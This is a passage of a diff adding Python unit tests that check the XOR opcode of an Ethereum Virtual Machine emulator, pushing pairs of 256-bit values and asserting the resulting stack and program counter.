+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_XOR_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819983L])
+
+    def test_XOR_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_XOR_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819953L])
+
+    def test_XOR_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_XOR_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [54277541829991966604798899222822456806220305312019014393495742503709279518719L])
+
+    def test_XOR_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819936L])
+
+    def test_XOR_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819920L])
+
+    def test_XOR_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819904L])
+
+    def test_XOR_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504337864336479446903994433332925807491374665101040L])
+
+    def test_XOR_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338672L])
+
+    def test_XOR_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_XOR_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301262L])
+
+    def test_XOR_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [54277541829991966604798899222822456806220305312019014393495742503709279518719L])
+
+    def test_XOR_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_XOR_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301279L])
+
+    def test_XOR_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301295L])
+
+    def test_XOR_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301311L])
+
+    def test_XOR_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281527586710570232449627116313036034012829185020175L])
+
+    def test_XOR_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639919L])
+
+    def test_XOR_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_XOR_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17])
+
+    def test_XOR_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819936L])
+
+    def test_XOR_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301279L])
+
+    def test_XOR_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_XOR_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_XOR_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_XOR_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718928L])
+
+    def test_XOR_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639903L])
+
+    def test_XOR_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_XOR_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33])
+
+    def test_XOR_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
